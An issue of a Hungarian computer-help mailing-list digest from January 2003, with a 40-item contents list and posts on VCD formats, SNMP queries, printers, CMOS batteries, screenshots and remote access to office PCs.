1. |
re: vcd 1.0 vcd 2.0 vcd 1.1 (mind) |
49 sor |
(cikkei) |
2. |
SNMP Hostmonitor KS kerdes OID (mind) |
26 sor |
(cikkei) |
3. |
Re: [TELEFON] kabelmodem + csomagok (mind) |
23 sor |
(cikkei) |
4. |
Re[2]: [WINDOWS] .prn fajl nyomtatasa; CMOS battery fai (mind) |
20 sor |
(cikkei) |
5. |
Re: kepernyo elmentese (mind) |
11 sor |
(cikkei) |
6. |
Re: [WINDOWS] .prn fajl nyomtatasa; CMOS battery failed (mind) |
28 sor |
(cikkei) |
7. |
Re[2]: mire eleg a p2? (mind) |
11 sor |
(cikkei) |
8. |
re:kepernyo mentese (mind) |
17 sor |
(cikkei) |
9. |
Re: kepernyo elmentese (mind) |
5 sor |
(cikkei) |
10. |
Re: Hunter szeme es monitora :) (mind) |
21 sor |
(cikkei) |
11. |
Re: weblap tiltas (mind) |
19 sor |
(cikkei) |
12. |
Re: [LINUX] hozza NEM ertes ara (mind) |
18 sor |
(cikkei) |
13. |
Re: sw. beszerzes magyar kormany modra (mind) |
57 sor |
(cikkei) |
14. |
Re: tintasugar vs. lezer (mind) |
14 sor |
(cikkei) |
15. |
[WINDOWS] gep osszeomlas megoldva (mind) |
20 sor |
(cikkei) |
16. |
DeskJet 5550 tapasztalatok (mind) |
16 sor |
(cikkei) |
17. |
[WINDOWS] Re: Win2000 + Office97 megnyitott file, GURU #2894 (mind) |
40 sor |
(cikkei) |
18. |
TV kimenetes videokartya (mind) |
12 sor |
(cikkei) |
19. |
cdrw -- hanyszor irhato (mind) |
10 sor |
(cikkei) |
20. |
Re: SAP (mind) |
22 sor |
(cikkei) |
21. |
Re: Mailwasher (mind) |
12 sor |
(cikkei) |
22. |
Az utalatos EN. (mind) |
38 sor |
(cikkei) |
23. |
[WINDOWS] ures alkonyvtarak es szivos McAfee (mind) |
11 sor |
(cikkei) |
24. |
[WINDOWS] Re: .prn fajl nyomtatasa; CMOS battery failed (mind) |
21 sor |
(cikkei) |
25. |
[WINDOWS] Re: kepernyo elmentese (mind) |
26 sor |
(cikkei) |
26. |
[TELEFON] Re: H*IRDE*TES (mind) |
24 sor |
(cikkei) |
27. |
[Windows] Uj hardver felismertetese parancsikonrol (mind) |
22 sor |
(cikkei) |
28. |
Re: HP 4L meghibasodott (mind) |
17 sor |
(cikkei) |
29. |
RE:Restricted area response team (mind) |
105 sor |
(cikkei) |
30. |
Re: avi konvertalas (mind) |
16 sor |
(cikkei) |
31. |
Re[32]: sw. beszerzes magyar kormany modra... (mind) |
32 sor |
(cikkei) |
32. |
[TELEFON] Re: kabelmodem + csomagok (mind) |
25 sor |
(cikkei) |
33. |
Re: kepernyo elmentese (mind) |
21 sor |
(cikkei) |
34. |
Re:kepernyo elmentese (mind) |
14 sor |
(cikkei) |
35. |
patron: hasznalhato? (mind) |
17 sor |
(cikkei) |
36. |
SolidEdge: file tartalma a gyorsnezoben (mind) |
19 sor |
(cikkei) |
37. |
[TELEFON] soros vonal hosszabbitas (mind) |
8 sor |
(cikkei) |
38. |
DVD meghajto hiba (mind) |
11 sor |
(cikkei) |
39. |
File hosszusag VB6-ban (mind) |
9 sor |
(cikkei) |
40. |
[HIRDETES] Elado memoria (mind) |
3 sor |
(cikkei) |
|
+ - | re: vcd 1.0 vcd 2.0 vcd 1.1 (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Hello,
>Felado : [Hungary]
>Temakor: vcd ( 11 sor )
>Idopont: Thu Jan 16 21:13:36 CET 2003 GURU #2891
>Szerintetek mi a kulombseg a VCD es a 2.0 -as VCD kozott? Nem SVCD!!!!!
Koszi a segitseget :)
>Egyaltalan az asztali DVD lejatszok megeszik a 2.0-as VCD formatumot?
Meg. Sot!!! Sok japcsi gyarto olyan egyertelmunek veszi a dolgot. Hogy a
siman VCD-vel femjelzett lejatszo siman jatssza az SVCD-t is, mert a
japcsinak az is VCD-hez tartozik!!!
>Kinek milyen tapasztalata van ezzen a teren?
Sajat tapasztalatom irtam le + elotte irj meg 5-6 irt CD-t es a boltban
probaljatok lejatszani, mielott megveszed. Ezt az eladok is szeretik, mert
filmet nezni szeretnek + ok sem tudjak hogy valojaban mit is eszik meg a
gep!
VCD az a ravett MPEG1-es videot jatssza le.
A VCD2-n lehet ugralni tetszolegesen a felmasolt reszekre. Ezek a reszek
lehetnek valtozo minosegu fotok es audio reszek.
A VCD 1.1-en az audio csak 224 kbit/s lehet. VCD 2.0-nal csak ezek: 128,192,
224,384
VCD 1.1-nel nincs mono hang. VCD 2.0-nal lehet, de csak 64, 96, 192kbit/s.
A VCD2-nel a lemez tipusa XA Bridge, formatum 74 meg 82 perces lehet 730 es
800 megaval de nekem ment asztali DVD lejatszon overburnolve is!! A film
formatuma (VCD1-nel is mindig) 352x240 (NTSC)vagy 352x288 (PAL). Kepek a
VCD2-nel lehetnek 352x240, 352x288, 704x480, 704x576-os meretben.
Temakorbe tartozik meg a CD-i meg Mediamogul formatum is, de Mo-n nem tul
hasznalatosak.
Fogadok, hogy lesz aki a VCD 1.0 es VCD 1.1 kulonbseget is feszegeti, nos,
kulonbseg annyi, hogy 1.1-en lehet fejezet konyvjelzoket berakni es meg vmi,
de nem jut eszembe. Van a 2.0-nak is tobb verzioja, asszem a 2.1-ben adtak
hozza karaoke tamogatast is. Sajnos soxor csak 2.0-val hivatkoznak az
osszesre, igy a pici kulonbsegek eltunnek.
Udv,
awender
|
+ - | SNMP Hostmonitor KS kerdes OID (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Hello,
Egy router egyik allapotjelzojet szeretnem SNMP-vel lekerdezni. Az SNMP
progit hasznalom a dologhoz. Beallitom Router IP cimet, a community
string-nek az SNMP jelszot es az OID-t.
A routerhez (Bintec) mellekeltem egy configuration management software-t is,
amely SNMP-vel eri el a router-t es minden egyik allapotjelzonel az F1
gombra nyomva kiirja hogy mi az adott allapot OID-je.
pl:
1.3.6.1.4.1.272.4.1.7
Nos, ha ezt az OID-t megadom, akkor hibat ir ki, azt, hogy "incorrect OID
value 1.3.6.1.4.1.272.4.1.7"
Probaltam get-et ele rakni, macskakormot stb.
Van vkinek esetleg tippje milyen uton induljak tovabb? A melle adott config
manager szinten snmp elven muxik es ott jo az IP + community string
beallitas is.
Ha vki nem biztos a dolgaban de tippje lenne, azt is szivesen varom.
Udv,
awender
|
+ - | Re: [TELEFON] kabelmodem + csomagok (mind) |
VÁLASZ |
Feladó: (cikkei)
|
HI!
A helyzet az hogy eloszor atkotik a kabeledet az elosztodobozban es csak
utana van/lehet rajta a "net-jel", es hogy ne kelljen ket hosszu kabel
meg a lakasban is felraknak egy elszto+szuro egyseget a kabelmodem es a
TV koze. (legalabbis UPC-nel ez a gyakorlat).
Az hogy a csillagpontos halozat barmely pontjarol csatlakozhatsz,
szerintem csak azt jelenti, hogy a megrendelesre van lehetoseg, es ha
bekotottek akkor tenyleg hasznalhato.
Udv:
Zsir
írta:
> Szervusztok!
>
> A Fibernet kabeles internetes szolgaltatasarol azt allitja, hogy
> csillagpontos halozat eseten, a halozat barmely pontjarol lehet
> csatlakozni. Ezt ki is probaltuk, de nalam nem ment a dolog egy ismeros
> kabelmodemjevel (ami nala rendesen mukodik). A modem nem tudott
> csatlakozni. Zavarhatja-e az a netezest, ha a kabelen csak egy csokkenett
> csomag jon (kozepcsomagnak hivtak meg nemregen), tehat szu"rik a jelet?
|
+ - | Re[2]: [WINDOWS] .prn fajl nyomtatasa; CMOS battery fai (mind) |
VÁLASZ |
Feladó: (cikkei)
|
A GURU 2894-ban olvastam
> Par napja megirtam egy dokumentumot, ki szerettem volna nyomtatni. az
> en gepemen nincs nyomtato, ezert kijeloltem a "Nyomtatas fajlba"
> negyzetet, es ramentettem a nyomtatasomat egy diszkre .prn
> kiterjesztessel. A diszket atvittem egy masik gephez, ahol van
> nyomtato (azert nem magat a dokumentumot vittem at, mert ezen a gepen
> nincs rajta a szukseges program.) Azt vartam, hogy a .prn
> kiterjeszteshez a windowsban hozza van rendelve valamilyen program,
> tehat egy duplakattintassal egyszeruen kinyomtathatom. Viszont semmi
> nem volt hozzarendelve, igy nem tudtam kinyomtatni. Milyen progival
> lehetne ezt megoldani? A windowsnak nincs hozza sajat megjelenitoje?
Próbáld ki a free PrintFile programot. Nekem a 2.1.5-ös verzió van fönt.
Hogy őszinte legyek túl sokat nem használtam, csak kipróbáltam. Működik!
A leírás szerint az összes Windows platformon fut (W3.1 - W2000)
http://www.lerup.com/printfile
Udvozlettel Farkas Janos 2003.01.20.
|
+ - | Re: kepernyo elmentese (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Nyomjal print screent, Eszti, aztán nyiss meg egy kepszerkeszto progit, de
az egyszeru paint is megteszi, es illeszd be. (vagy az edit/szerkesztes menu
beillesztes/paste parancsaval; vagy ctrl+v -vel :) ) Aztan mentsd es vard a
nagyfonokot!
Kacsa
_________________
http://patito.hu
http://blog.patito.hu
lista/magan
|
+ - | Re: [WINDOWS] .prn fajl nyomtatasa; CMOS battery failed (mind) |
VÁLASZ |
Feladó: (cikkei)
|
A GURU 2893-ban irta Csonga Zoltan >:
>A masik kerdesem: Mostanaban a gepem bekapcsolasakor a kovetkezo
hibauzenet
>jelenik meg:
>"CMOS battery failed - Defaults Loaded. Press F1 to contiune."
>Ha megnyomom az F1-et, minden rendben folytatodik, a Windows elindul. Csak
>eppen rosszul tudja a datumot es az orat. Kerdesem: Hogyan mukodik az az
>"elem", ami segitsegevel a szamitogep kikapcsolva is tudja az orat?
Egyszeru
>elem, vagy toltheto? Ez kicserelheto? Mostanaban egyre tobbszor fordul elo
>ez a problema, szoval kezd zavarni.
Ha regebbi az alaplapd akkor ra van forrasztva egy kis elem melynek a
cserejet bizd szakemberre.
Ujabb alaplapoknal viszont mar egy relative standard gombelem van amit
magad is kicserelhetsz csak persze pontosan ugyanolyan tipusra.
udvozlettel
Csonka Ferenc - ferke
www.adanet.co.yu/~ferke/rogoznica
HIXEditor 1.15beta8
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.443 / Virus Database: 248 - Release Date: 10.01.2003
|
+ - | Re[2]: mire eleg a p2? (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Hello!
Akkor azt Te nem hasznaltad, csak nezegetted. Munkara tokeletesen
alkalmatlan. Vagy lehet, hogy en vagyok a hulye, de napi 10 orat nyomom a
gepet atlagban es falnak mennek ha arra kellene varnom hogy pl ikonokat
pakolgasson...
Szasz: Miso
>Csupan erdekesseg: egy kiprobalas erejeig feltettem az XP-t egy
>AMD K6-2-266-osra (Asus TXP4, 128 MB RAM, 4 GB HDD UDMA), es nem ereztem
>lassunak...
|
+ - | re:kepernyo mentese (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Szevasztok!
> Felado : [Hungary]
> Tudtok valami megoldast, hogy egy gombnyomasra a
> kepernyo tartalmat tudjam rogziteni, es amikor elokerul
> a fozseni, akkor meg tudom neki mutatni, hogy mi tortent?
>
> Eszti
Csak printscreen.
A vagolaprol aztan a painttal is lementheted.
--
Janos
mailto:
http://w3.enternet.hu/mjanos
|
+ - | Re: kepernyo elmentese (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Koszonom a tobb szaz :-))) reagalast,
majdnem mindenki ugyan azt irta, es
ki hitte volna, hogy a paint ennyire jo.
Eszti
|
+ - | Re: Hunter szeme es monitora :) (mind) |
VÁLASZ |
Feladó: (cikkei)
|
HIX GURU #2894, :
>> Hat, es elegge santit. Mar itt a GURUn is megbeszeltuk, hogy egy jo
>> monitor kell, es akkor semmi szukseg vedoszemuvegre.
>A vedoszemuveg megletet es koltsegviselojet a trv. irja elo.
Nem ertelek. Egyetertesz velem, hogy tokeletesen felesleges a vedoszemuveg,
ha van jo monitor. Es szerinted is a jo monitor, nem pedig a vedoszemuveg
hasznalata a cel. Akkor miert veded a rossz jogszabalyt?
>mas ut van, hogy egy hulye torvenyt megvaltoztssanak. Amugy a
Ennek az utnak az elso lepese lehet pl. az en velemenyem is.
>jogrendunk abbol indul ki, hogy a torvenyeket elozoleg atgondoltak es
>a torvenyalkoto tudja, hogy mit csinal es felelosen, gondosan jar el.
OK, azert hadd vegyem a batorsagot, hogy leirjam a velemenyemet.
Ha mindenki csak hallgat, az beleegyezesnek szamit, vagy nem?
--
Udv,
Hunter -[HE 1.15beta8+1;]-
|
+ - | Re: weblap tiltas (mind) |
VÁLASZ |
Feladó: (cikkei)
|
On Jan 19, 2003 18:44 (-0000) wrote:
:A hosts fileba lehet wildcardot tenni? *-ot
:
a hosts.<allow|deny> -ra gondolsz? Nem lehet, mert az 1.2.3.* jelolese
helyesen 1.2.3., a *.hu jelolese pedig .hu
de nem latom, hogy ettol mitol tiltanal le egy weblapot, webszervert nem
szoktak inetd-bol futtatni (persze lehet). viszont akkor a teljes
webszerver nem fog latszani, nem csak egy weblap.
Ha egy webszerver, pl az apache szintjen akarod megoldani, ott nincs hosts
file, de a konfigra ugyanez a jelolesmod ervenyes.
Ciao
Adam
http://adamk.muszaki.info -
|
+ - | Re: [LINUX] hozza NEM ertes ara (mind) |
VÁLASZ |
Feladó: (cikkei)
|
On Jan 19, 2003 10:33 (-0000) wrote:
:Wint es par progit, de ez kerult 150e-be... A baratom cegenel kb ket
:hete csak allnak a gepek, mert vagy ez nem jo, vagy eppen percenkent
:
az a szomoru, hogy egy melora, egy tisztesseges informatikus, nem pedig
egy 'en-elvegeztem-a-tanfolyamot-es-rendszergazda-lettem' nem tud akkora
arat mondani, hogy ot alkalmazzak. mondjuk az altalad emlitett melora egy
informatikus mond 200ezret. jon egy nyakkendos szalajtott pancser, aki
150-et, az atlag vezetok nyilvan az olcsobbat fogjak valasztani, es csak
kesobb esik le, hogy valoszinuleg az egyszeri 200ezer utan jodarabig semmi
kiadasa nem lenne, mert minden mukodik.
Ciao
Adam
http://adamk.muszaki.info -
|
+ - | Re: sw. beszerzes magyar kormany modra (mind) |
VÁLASZ |
Feladó: (cikkei)
|
On Sun, Jan 19, 2003 at 04:13:32PM +0000, Hunter wrote:
> >viszont az uzemeltetese (tintapatron) ezzel szemben baromi draga.
>
> Tobbek kozott azert is kell hozzaerto rendszergazdat alkalmazni, mert az
> ilyen dolgokat at tudja hidalni.
A rendszergazda hogyan tudja megoldani, hogy a tintapatron olcsobb
legyen?
> Joparszor kiszamoltam itt, hogy tintassal
> el lehet erni 1Ft/lap koltseget, hadd ne tegyem meg ujra.
En ugyan erre nem emlexem, de sebaj. Az 1 Ft/lap koltseget eleg erdekes
lehet kihozni, foleg, ha ebbe a papirkoltseget is beleerted :), de ha
nem, akkor is veszett olcsonak tunik. Gondolom utantoltott patron, stb.
> Havi 10-15???? Ne tulozz mar! Az kevesebb, mint ketnaponta egy oldal... Erre
> meg Matyas kiraly irnoka is kepes. Hasznaltal te valaha is tintas nyomtatot?
Khhm. A kerdes nem rossz. Elso tintasugaras nyomtatomat (HP DeskJet 500)
1992-ben vettem meg, ezt kesobb lecsereltem egy Canon BJC600-ra (mert
kellett a szines nyomtatas), majd kesobb egy Epson Stylus Colorra, ami
meg ma is megvan. Volt szerencsem Canon BJ330-hoz, valamint Epson Stylus
Color II-hoz a munkahelyemen.
Tudom, hogy a havi 15 oldal extrem modon keves, de az allitasomat ennek
ellenere fenntartom. Nem azert, mert a tintasokkal tobb gond van
(egyebkent van, tisztelet a roppant keves kivetelnek, pl. nagyon
szerettem a BJ330-at), hanem azert, mert ha megnezed a tintasugaras
nyomtatokat, jelenleg a gyartok tobbsege tintakopkodok eseten a
patronkoltsegbol el. A Stylus Color nyomtatomat pl. legutobbi
patroncsere idejen 20eFt koltsegbol tudtam megtankolni, azota ez nyilvan
tobb (regen volt). Es annyi ideig azert ennek sem tart el egy toltese,
mint a lezernek. Ja, es ez egy olcso uzemelesu nyomtato, mert eleg
nagy tartalya van, ellentetben a mostanaban kaphatoakkal.
> Mert en jonehany eve szinte csak azt hasznalok, ismerem oket jol. Hidd el,
> elofordul a havi 2000 oldal is, es nincs vele tobb gond, mint amennyi egy
> lezerrel van.
Mint irtam, nem az a problema, hogy tobb gond van vele, bar tipusfuggo,
ahogy a lezereknel is.
>
> >Ha meg munkacsoportos nyomtatot akarsz hasznalni (abban teljesen igazad
> >van, hogy nem kell minden gephez nyomtato), sokkal inkabb erdemes venni
> >egy nagyobb teljesitmenyu lezert, hosszabb tavon mindenkeppen behozza az
> >arat. Pl. kisebb csoportnak (5-10 fo) egy halozati kartyaval ellatott
> >OKI nyomtato idealis valasztas lehet.
>
> Ez igaz, de nem feltetlenul erre gondoltam. Van, ahol 5-10 gepre sincs
> szukseg, 3-at meg azert kiszolgal egy tintas is.
Kiszolgal, csak draga.
--
--- Friczy ---
'Death is not a bug, it's a feature'
|
+ - | Re: tintasugar vs. lezer (mind) |
VÁLASZ |
Feladó: (cikkei)
|
On Sun, Jan 19, 2003 at 07:23:40AM +0000, wro
te:
> > Ezen kivul pedig nem kell minden egyes gephez nyomtato.
>
> Az igaz. Egy mechanikus atkapcsolo 2-3e Ft...
> PEter
IMHO a mechanikus atkapcsoloknal csak az automatikusak a rosszabbak :)
Sokkal normalisabban lehet dolgozni egy serverhez kotott nyomtatoval,
vagy egy eleve halozati kartyaval ellatott nyomtatoval.
--
--- Friczy ---
'Death is not a bug, it's a feature'
|
+ - | [WINDOWS] gep osszeomlas megoldva (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Udv Guruk!
A nehany napja irt gep osszeomlas problemamra nem kaptam tul sok valaszt, de
szerencsere sikerult megoldanom a problemamat. Igazabol nem tudom, hogy mi
volt a gond (talan a por vagy a por es valamilyen nedvesseg keletkezese
lehetett a ludas), de a gep "szinte teljes" szetszerelese megoldotta a
problemat. Egyedul a tapegyseget nem szedtem szet, azt csak portalanitottam.
Legjobban a tokban levo celeron procival szenvedtem meg, de ezt az akadalyt
is sikerrel haritottam.
Azt hiszem, hogy a sikeres osszerakast koveto 2. napban kijelenthetem, hogy
szerkezet tokeletesen mukodik és lefagyasnak, vagy fura bootnak nyoma sincs.
Arra a problemara meg mindig varnek valami valaszt, hogy mi a teendo abban
az esetben, ha windows xp-nek minden netre valo csatlakozas elott
telepiteni, vagy frissiteni kell a kulso modemet, ha az elotte (win
inditaskor) nem volt bekapcsolva.
Azert koszonom a tippeket es varom a valaszokat!
RaveAir
|
+ - | DeskJet 5550 tapasztalatok (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Sziasztok!
Hasznal valaki HP DeskJet 5550-es nyomtatot?
Ha valaki latott mar ilyet legyen szives ossza meg velem tapasztalatait!
Milyen nyomtatasi kepe van?
Elsosorban digitalis fenykepezogeppel keszitett kepek nyomtatasara lenne
hasznalva.
A szines, ill. foto tintapatron arat nem sikerult megtudnom (eddig meg
egy arlistaban sem talalkoztam vele),
de ezek csak 17ml-esek. Nem kevés ez egy kicsit? A fekete is csak 19ml-es.
Vajon mennyi fenykepre lehet ez elegendo?
Szerintetek erdemes megvenni?
A segitseget elore is koszonom!
Udv: Zsolt
|
+ - | [WINDOWS] Re: Win2000 + Office97 megnyitott file, GURU #2894 (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Hello Gyuri!
Irod:
> Felado : [Hungary]
> Temakor: [WINDOWS] Win2000 + Office97 megnyitott file ( 24 sor )
> Idopont: Sun Jan 19 15:13:32 CET 2003 GURU #2894
> ...
> egyik baratomnal elojott egy kisse zavaro jelenseg. Win2000 HUN az
> alap es ezen ha megnyitunk a doksik kozul egy Word file-t akkor
> szepen megnyilik, de szol, hogy ezt a filet mar az xxx user mar
> hasznalja. Nos xxx user az akivel mi belepunk es a rendszerben
> vagyunk. Igy csak read-only modban hajlando adni a doksit. Excelnel
> teljesen ugyanez.
> Ellenben ha megnyitjuk a Word-ot es onnan hivjuk be a doksit nincs
> vele gond, sot ha mar nyitva van a word es akkor hivjuk be a
> dokumentumok kozul kozvetlenul akkor sem ad hibauzenetet. Barmely
> file-ra igaz.
>
> A felallas igaz mind adminisztratori mind kiemelt felhasznaloi
> korre is. File-okon, konyvtarakon nincsen semmilyen korlatozas
> mindenki elerhet mindent amit csak akar.
>
> Tapasztalatokat esetleges javitokeszlet tippeket szivesen fogadok
>
> Udv! --- Gyuri ---
Nalam kisertetiesen hasonlo tuneteket produkalt egy meghibasodott
eger. A kattinto gombja (nalam a bal) hajlamos volt a beragadasra es
duplazasra, igy ketszer vagy tobbszor (a csucs 8 volt!) probalta
megnyitni ugyanazt a szerencsetlen dokumentumot. Ha beragad, akkor
mindig a legutolso megnyilo ablakot latod, ami teljesen jogosan kozli
veled, hogy a doksi mar nyitva van es te ulsz rajta.
Szoval probalkozzatok egy egercserevel vagy tisztogatassal is. Ird meg
kerlek, ha rajottok, hogy mi volt a tenyleges oka a tunetnek.
Remelem, segit az otletem!
Gabor
--
dr. Nagy Gabor
mailto:
mailto:
|
+ - | TV kimenetes videokartya (mind) |
VÁLASZ |
Feladó: (cikkei)
|
Milyen TV kimenetes videokartyat ajanlanatok? Ami a lenyeg szamomra,
hogy TV-t lehessen rajta nezni, nem jatekra lesz. Most az egyik
gepemben ATI XPertPlay 98 van, PCI-os, egyszerre megy a kep a
monitorra es a TV-kimenetre. Hasonlo kvalitasu kartya megfelelne,
talan annyi extraval, hogy meg lehetne azt tenni, hogy a TV kimeneten
megy egy film, amig en dolgozom a gepen. Azaz valahogy meg lehetne
szabni, hogy mi megy a monitorra, s mi a kepernyore...
Varom javaslataitokat. Ha valaki eppen megszabadulna ilyentol, mert
upgradelni akar, azt is szivesen veszem.
Minden jot, Vili
|
+ - | cdrw -- hanyszor irhato (mind) |
VÁLASZ |
Feladó: (cikkei)
|
felmerult egy kerdes bennem.
egy atlagos (kozepes aru) CDRW hanyszor tororlheto es hanyszor irhato
altalaban?
--
Best regards,
Laci mailto:
|
+ - | Re: SAP (mind) |
VÁLASZ |
Feladó: (cikkei)
|
irtad: Valojaban mi is az a SAP? Valoban
nem tudom es erdekelne... DE csak
par mondatban, kozerthetoen, hogy egy mezei fenykepesz is megertse...
Koszi elore is.
Az SAP egy integralt vallalat iranyitasi rendszer, amely tobb modulban
kezeli a vallalati folyamatokat. A rendszer elonye a "gyors" informacio
aramlas es az informaciok szeleskoru hozzaferhetosége. Az SAP rendszer
celja, hogy pontos, naprakesz informaciokat szolgaltasson a felhasznalok
szamara egy ceg termelesi, gazdasagi es penzugyi folyamatairol.
Tok jol tudok masolni! ;o)
@ @
======oOO==(_)==OOo======
Udv. Zaphod
mailto:zaphod=freemail.hu
mailto:zaphod_=mailbox.hu
ICQ:97153010
"Ha egyszer az eletben a szemem ele kerulok, ugy
leutom magamat, hogy azt sem fogom tudni, mi utott belem."
|
+ - | Re: Mailwasher (mind) |
VÁLASZ |
Feladó: (cikkei)
|
>Hogyan lehetne ravenni a fenti programot, hogy ne csak a leveleket
>toltse le automatikusan a megadott idointervallum szerint, hanem
>torolje is le a letoltes utan azokat, amelyekre a spam jellemzok
A Tools / Blacklist / Options -ban van az
"Auto-delete blacklisted messages" opció...
Szerencsére nem tölti le a leveleket, csak a fejlécet. Ez a progi nem levélletö
ltésre való, de elonézetet tud...
üdv.. Doky
(webes bekuldes, a bekuldo gepe: gate.westel900.hu)
|
+ - | Az utalatos EN. (mind) |
VÁLASZ |
Feladó: (cikkei)
|
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>Felado : [Hungary]
>Temakor: Re: sw. beszerzes magyar kormany modra... ( 18 sor )
>Idopont: Sat Jan 18 10:33:46 CET 2003 GURU #2893
>> De hat nem igy van. A adatbaziskezelot biztosito ceg komolyan
>> veszi, hogy a szoftver az szolgaltatas. Hatarozott idore szol,
[...]
>Itt eleg sok minden le van irva, aminek a temahoz koze sincs.
Igen, mert ez abbol a levelbol van kivagva, amiben Hunter
kerdeseire valaszoltam. A tema pedig mar elkanyarodott.
>Arrol nem beszelve, hogy te most altalanositod azt a megoldast,
>amit ti hasznaltok,
+MOL, +Matav +Aramszolgaltatok + egy sereg tovabbi nagy ceg,
amelyik kisemberek eletere befolyassal bir.
>jobb ha tudod, vannak cegek, akik nem igy vasarolnak sw-t.
Meg jo hogy.
>De sebaj, a dolog mar reg nem errol szol, bizonygasd csak nyugodtan,
>hamis allitasokkal, feligazsagokkal, hogy nem mondtal hulyeseget az
>elejen.
Pl. melyek a hamis allitasok? A dolog pedig regen nem errol szol,
ez igaz, a level elejen viszont meg nem volt igy, ott meg aktualis
a tema, mert amit irtam, ahhoz nincs semmi koze...
Az elejen pedig hulyesegt irtam, ezt mindjart jeleztem is
a kovetkezo szamban. De ha jol esik, csepulj tovabb, engem
nem zavar.
--
Török István
|
+ - | [WINDOWS] ures alkonyvtarak es szivos McAfee (mind) |
VÁLASZ |
Feladó: (cikkei)
|
1. Hogyan tudom attekinteni, hogy mely alkonyvtarak uresek a
winchesteremen?
(Azt ertem ezen, hogy nulla a meroszamuk,
legfeljebb tovabbi ures alkonyvtarak vannak bennuk).
A Windows-Commander 4.0 csodalatos, de ezt nem kinalja.
2. A McAfee egyre durvabban lelassitja a gepemet. Attertem NAV-ra, de
nem tudom, hogyan lehetne nem-durvan (nem fizikai delete-tel)
uninstallalni a McAfee-t. (Nem kinal fel Uninstall-t.)
Koszonom: S.Bela.
|
+ - | [WINDOWS] Re: .prn fajl nyomtatasa; CMOS battery failed (mind) |
VÁLASZ |
Feladó: (cikkei)
|
>en gepemen nincs nyomtato, ezert kijeloltem a "Nyomtatas fajlba" negyzetet,
>es ramentettem a nyomtatasomat egy diszkre .prn kiterjesztessel. A diszket
>atvittem egy masik gephez, ahol van nyomtato (azert nem magat a dokumentumot
Ugyanolyan kell, mint amilyenre "nyomtattad".
>vittem at, mert ezen a gepen nincs rajta a szukseges program.) Azt vartam,
>hogy a .prn kiterjeszteshez a windowsban hozza van rendelve valamilyen
Huzd ra a file ikonjat a nyomtato ikonjara.
>"CMOS battery failed - Defaults Loaded. Press F1 to contiune."
>Ha megnyomom az F1-et, minden rendben folytatodik, a Windows elindul. Csak
>eppen rosszul tudja a datumot es az orat. Kerdesem: Hogyan mukodik az az
Sokfele elem lehet. Nezz bele a gepedbe: ma leginkabb a gombelemek
szokasosak, de lehet kis, henger alaku akkumulator (leginkabb a
billentyuzetcsatlakozo mellett).
Gombelemet siman cserelhetsz (vidd el magaddal vagy nezd meg a kodjat,
ha veszel), akkumulatort is lehet cserelni, de forrasztani kell es
bontoban nem celszeru venni. Megteheted, hogy veszel/keszitesz egy
elemtartot es radugod az elemcsatlakozora (<-alaplap leirasa alapjan).
A regit ne dobd ki: egyreszt veszelyes hulladek, masreszt lehet, hogy
nem ment tonkre es az alaplappal van problema.
|
+ - | [WINDOWS] Re: kepernyo elmentese (mind) |
VÁLASZ |
Feladó: (cikkei)
|
>Korabban nagyon egyszeru dolgom volt, ha valami problema
>adodott, megnyomtam a shift-printscreen gombokat es a
>matrix nyomtato kinyomtatta a kepernyot, meg tudtam
>mutatni, hogy ez volt a hiba.
>Azutan eloszor lecsereltek a nyomtatokat olyanokra, aminel
>ezt mar nem lehetett megcsinalni, mert csak egesz lapokat
Utana odamesz a nyomtatohoz es megnyomod a "lapdobas" gombot.
>nyomtattak, majd elvettek a nyomtatot es csak egy halozati
>nyomtatot hagytak.
Szerintem ez a normalis - kiveve, ha sorban alltok a nyomtatonal, varva
a sajat nyomtatasara, vagy sokfele papirt hasznaltok, vagy a nyomtato a
folyoso tulso vegen lenne.
>Most meg meg nyomtatom sincs, a hibak meg jonnek.
Halozati sem? Igy takarekoskodunk mi :-(
>Tudtok valami megoldast, hogy egy gombnyomasra a
>kepernyo tartalmat tudjam rogziteni, es amikor elokerul
>a fozseni, akkor meg tudom neki mutatni, hogy mi tortent?
Hogyne. Barmilyen "printscreen" kombinacio. Ajanlom az <Alt>
PrintScrn-t, mert az csak az aktualis ablakot nyomtatja, takarekosabb.
Ezutan (ugye Windows-od van) megnyitsz (a "kellekek" kozott) valamilyen
rajzoloprogramot, es megnyomod benne a "beillesztes" gombot. Kapsz egy
kepet, amit elmenthetsz, kinyomtathatsz (ha lesz nyomtatod), vagy
levelben is elkuldhetsz a "fozseni"-nek.
|
+ - | [TELEFON] Re: H*IRDE*TES (mind) |
VÁLASZ |
Feladó: (cikkei)
|
>megoldást, abban a problémában, hogy távoli gépekrőll lenne szó és az
>egyik gépen lévő programokat szeretném futtatni a másik gépen, teljes
>uralmat megvalósítva a gépek között. A fő gond az lenne, hogy nem találok
>olyan programot ami lehetővé tenné számomra, hogy nem kellene állandó
>internet kapcsolat, az alárendelt gépen, hanem csak akkor, amikor
>programokat szeretnék használni, de ahoz nem kellene bemennem az irodába,
Nem értem a problémád. Az irodai gépedet szeretnéd elérni és rajta helyi
(tehát nem internetes) programot futtatni - úgy, hogy a cégnek nincs
kozvetlen internet kapcsolata? Minek ehhez internet? Tegyél fel a gépre
egy szervert - PCanywhere, CarbonCopy vagy Remote Desktop - telefonos
kapcsolattal, és hívhatod közvetlenül telefonon ugyanezzel a
programmal. Ha lehet, kisfelbontású (vagy karakteres) képernyővel,
különben megőszülsz, mire átjön. Ha a gépedet akarod elérni, a rajta
levő programot otthonról futtatni vagy adatokat másolni és 32 bites
Windows van: RAS telepítés, bejövő hívások engedélyezve. Nem túl jó
ötlet, mert könnyen
támadható. Jobb egy DOS-os szerver program.
Én azért megbeszélném a rendszergazdával, mert ez komoly biztonsági rés
- és a cég sem biztos, hogy örül, ha kívülről hívogatja valaki. Esetleg
kirúghatnak miatta. Néhány cégnél (pl. Matáv) van erre hivatalos
lehetőség - kérdezd meg.
u.i.: valami használhatóbb tárgy a "*irdetes" helyett? Gyorsabb választ
kaptál volna...
|
